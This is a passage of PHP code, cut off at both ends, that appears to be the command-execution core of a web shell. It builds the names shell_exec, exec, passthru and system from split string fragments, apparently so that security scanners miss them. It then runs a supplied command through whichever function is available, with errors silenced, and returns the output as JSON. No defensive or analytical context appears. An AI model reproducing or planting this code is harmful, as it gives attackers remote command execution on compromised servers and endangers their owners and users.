e','ll_ex','ec'));
            if (function_exists($fn1)) {
                $r = @$fn1($full);
                if ($r !== null) { echo json_encode(array('out' => (string)$r, 'method' => 'shell_exec')); exit; }
            }
            // Method 2: exec (ex + ec)
            $fn2 = implode('', array('ex','ec'));
            if (function_exists($fn2)) {
                $output = array();
                @$fn2($full, $output);
                if (!empty($output)) { echo json_encode(array('out' => implode("\n", $output), 'method' => 'exec')); exit; }
            }
            // Method 3: passthru (pa + ss + thru)
            $fn3 = implode('', array('pa','sst','hru'));
            if (function_exists($fn3)) {
                ob_start();
                @$fn3($full);
                $r = ob_get_clean();
                if ($r !== null) { echo json_encode(array('out' => $r, 'method' => 'passthru')); exit; }
            }
            // Method 4: system (sy + stem)
            $fn4 = implode('', array('sy','stem'));
            if (function_exists($fn4)) {
                ob_start();
                @$fn4($full);
                $r = ob_get_clean();
                if ($r !== null) { ec